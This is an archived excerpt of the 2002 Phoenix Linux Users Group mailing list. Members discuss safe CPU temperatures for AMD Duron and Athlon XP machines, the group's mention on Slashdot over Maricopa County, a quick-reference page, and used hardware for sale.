But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:37:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 10:37:54 -0700 Subject: PLUG Quick References Message-ID: <02061710375424.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I thought that Bill's Vi quick reference is really good so I decided to change the Resources category on the PlugPresents web site to a Quick Reference category. I have asked Bill if I can link to his cool Vi reference page. Anyone else have a quick reference that they want to put up there? With a little work, PlugPresents can become the premiere reference site for Linux users in Phoenix, Arizona, the southwest, heck, maybe the world. I have even asked Vic to put a link to PlugPresents on the PLUG website so that more people can find it. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ4ecisk3ywszI1FEQL5kgCgweBSoA1LBzRfUUzF4VP1UDCwtIAAnRGt Lx9+xs+2QBvXmupKVJDYvJCq =9SyJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:46:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 10:46:53 -0700 (PDT) Subject: PLUG on Slashdot Message-ID: I just noticed on Slashdot this morning that we're featured in regards to the Maricopa County thread: http://slashdot.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:47:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 17 Jun 2002 10:47:39 -0700 Subject: PLUG is famous! Message-ID: <1024336060.29230.2.camel@shiva.soulmachine.com> Well... sort of: http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 Geek famous anyway.. hehe -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Mon, 17 Jun 2002 10:58:09 -0700 Subject: items for sale In-Reply-To: <5.1.0.14.0.20020616181121.00acd7f0@localhost> References: <5.1.0.14.0.20020616181121.00acd7f0@localhost> Message-ID: <20020617175809.GA27125@aries.evilmascot.com> Eh, how much were you thinking for the 1600? I've got $50. -Kyle On Sun, Jun 16, 2002 at 06:23:36PM -0700, Kimi A. Adams wrote: > Although I have updated my ad on www.forsale.unitywave.com, it doesn't > allow for the amount of items that I have to list. > > So here is the list: http://www.unitywave.com/~office/index.html it's in > a decent printable form as well for those that want to print it. > > Call me with offers. Can someone please come get the whole lot? Pricing > is pretty rock bottom, but I will take $225 for the whole lot. We do not > deliver. I need the space in the next month, so if we cannot sell it here, > it might be at the next swap meet or a garage sale in September. > > Kimi Adams > Unity Wave > 602-375-5363 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:59:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Mon, 17 Jun 2002 10:59:37 -0700 Subject: PLUG is famous! Message-ID: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg) Content-type: text/plain; charset="iso-8859-1" Can the servers withstand the slashdot effect? batten down the zombie processes, release the squid cache! Man I'm a dork. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Blake Barnett [mailto:blake.barnett@developonline.com] Sent: Monday, June 17, 2002 10:48 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: PLUG is famous! Well... sort of: http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 Geek famous anyway.. hehe -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: PLUG is famous!

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Geek famous anyway.. hehe
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= --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg)-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 10:58:15 -0700 Subject: CPU Temperature Monitoring & Limits Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DE8@azmscorp01.corp.azms> Any thing cooling those drives? Larry -----Original Message----- From: jon@unfm00.com [mailto:jon@unfm00.com] Sent: Monday, June 17, 2002 10:05 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 10:58:23 -0700 (PDT) Subject: PLUG is famous! In-Reply-To: <1024336060.29230.2.camel@shiva.soulmachine.com> Message-ID: Now if we could get some news organizations (non-geek) to write about this, we'd be set... start off with local news, which would get picked up by national news... there'd be so much publicity surrounding this that Maricopa County would have a REALLY hard time ignoring the laws. :-) ~M On 17 Jun 2002, Blake Barnett wrote: > Well... sort of: > http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 > > Geek famous anyway.. hehe > -- > Blake Barnett (bdb) > Sr. Unix Administrator > DevelopOnline.com office: 480-377-6816 > > Learning is a skill, you get better at it with practice. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:09:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:09:31 -0700 Subject: CPU Temperature Monitoring & Limits References: <2AAC72149C827944B96C854ABD0BCAFF1A4DE8@azmscorp01.corp.azms> Message-ID: <008a01c2162a$20feeb50$6501a8c0@drghastly> I have almost the exact same set up you do, except I have a 1800+. Your CPU is running at normal temperature. They just run freaking hot as hell. The only thing you can do is water cool it to get it to a lower temp. Otherwise your pretty much SOL. That is the reason, in fact, I am switching to a P4 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees farenheit, standard. I do not need a heat lamp for a PC. ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 10:58 AM Subject: RE: CPU Temperature Monitoring & Limits > Any thing cooling those drives? > > Larry > > -----Original Message----- > From: jon@unfm00.com [mailto:jon@unfm00.com] > Sent: Monday, June 17, 2002 10:05 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: RE: CPU Temperature Monitoring & Limits > > > Man I hate to get started on this subject. I built a AthlonXP with the problem below: > > "amd 2100+ > asus a7v333 > pc-3000 512mb cl 2.0 @2,2,2,5T > gforce 3 PNY (not a TI card) > 4 ata/133 Maxtor 40g drives two are Raid level 0 > volcano 7+ Heat sink fan 6500rpm/copper heat sink > 4 intake fans three exit fans including power supply > 350watt power supply. > latest bios 1007 > artic silver goop > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. > > I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. > vcore 1.75 > cpu/pcibus 133/33 > cpu/mem raio 4:5" > > After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. > > Does anyone else run any asus mobo? > > jon > > Original Message: > ----------------- > From: George Toft george@georgetoft.com > Date: Mon, 17 Jun 2002 07:26:44 -0400 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: CPU Temperature Monitoring & Limits > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > have the AMD Duron Processor 3 Technical Specification Sheets, and all > it says is "Maximum die temperature 90C." Recognizing there is a > thermal gradient between the CPU and the temperature sensor, does anyone > have any ideas what the maximum temperature I should experience for a > healthy PC? I have not found any concrete numbers on the 'Net. > > I configured "sensors" yesterday, and wrote a script to log system load > and CPU temp over time, which results in this output: > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > (As you can see, I also incorporated tracking network traffic from a > previous thread as well. This script is located on my web site.) > > I then ran the machine ragged playing an AVI movie in full-screen mode > for over 1.5 hours. The CPU temperature reached 127F and held steady. > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > like reasonable values? Obviously, cooler is better, but I don't have > $200 for a liquid cooling system. > > Thanks in advance. > > George > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:31:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 11:31:44 -0700 (MST) Subject: PLUG on Slashdot In-Reply-To: Message-ID: Perhaps the Arizona Center for Law in the Public Interest would have something to say about enforcement of current policy and law? http://www.aclpi.org/ They have a bit of a reputation fighting for enforcement of ignored laws... ---------------------------- On Mon, 17 Jun 2002, Matt Alexander wrote: I just noticed on Slashdot this morning that we're featured in regards to the Maricopa County thread: http://slashdot.org ________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:40:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:40:55 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: my four intake 80mm fans are blowing right on them! plus my Raid drives are in hotswap bays with fans in them. Original Message: ----------------- From: Larry Lauer llauer@azmotorsports.com Date: Mon, 17 Jun 2002 10:58:15 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Any thing cooling those drives? Larry -----Original Message----- From: jon@unfm00.com [mailto:jon@unfm00.com] Sent: Monday, June 17, 2002 10:05 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:42:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:42:48 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: Yeah I have just about given up... It works fine and I have not crashed yet. Original Message: ----------------- From: Dr.G drghastly@cox.net Date: Mon, 17 Jun 2002 11:09:31 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: CPU Temperature Monitoring & Limits I have almost the exact same set up you do, except I have a 1800+. Your CPU is running at normal temperature. They just run freaking hot as hell. The only thing you can do is water cool it to get it to a lower temp. Otherwise your pretty much SOL. That is the reason, in fact, I am switching to a P4 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees farenheit, standard. I do not need a heat lamp for a PC. ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 10:58 AM Subject: RE: CPU Temperature Monitoring & Limits > Any thing cooling those drives? > > Larry > > -----Original Message----- > From: jon@unfm00.com [mailto:jon@unfm00.com] > Sent: Monday, June 17, 2002 10:05 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: RE: CPU Temperature Monitoring & Limits > > > Man I hate to get started on this subject. I built a AthlonXP with the problem below: > > "amd 2100+ > asus a7v333 > pc-3000 512mb cl 2.0 @2,2,2,5T > gforce 3 PNY (not a TI card) > 4 ata/133 Maxtor 40g drives two are Raid level 0 > volcano 7+ Heat sink fan 6500rpm/copper heat sink > 4 intake fans three exit fans including power supply > 350watt power supply. > latest bios 1007 > artic silver goop > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. > > I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. > vcore 1.75 > cpu/pcibus 133/33 > cpu/mem raio 4:5" > > After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. > > Does anyone else run any asus mobo? > > jon > > Original Message: > ----------------- > From: George Toft george@georgetoft.com > Date: Mon, 17 Jun 2002 07:26:44 -0400 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: CPU Temperature Monitoring & Limits > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > have the AMD Duron Processor 3 Technical Specification Sheets, and all > it says is "Maximum die temperature 90C." Recognizing there is a > thermal gradient between the CPU and the temperature sensor, does anyone > have any ideas what the maximum temperature I should experience for a > healthy PC? I have not found any concrete numbers on the 'Net. > > I configured "sensors" yesterday, and wrote a script to log system load > and CPU temp over time, which results in this output: > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > (As you can see, I also incorporated tracking network traffic from a > previous thread as well. This script is located on my web site.) > > I then ran the machine ragged playing an AVI movie in full-screen mode > for over 1.5 hours. The CPU temperature reached 127F and held steady. > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > like reasonable values? Obviously, cooler is better, but I don't have > $200 for a liquid cooling system. > > Thanks in advance. > > George > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ 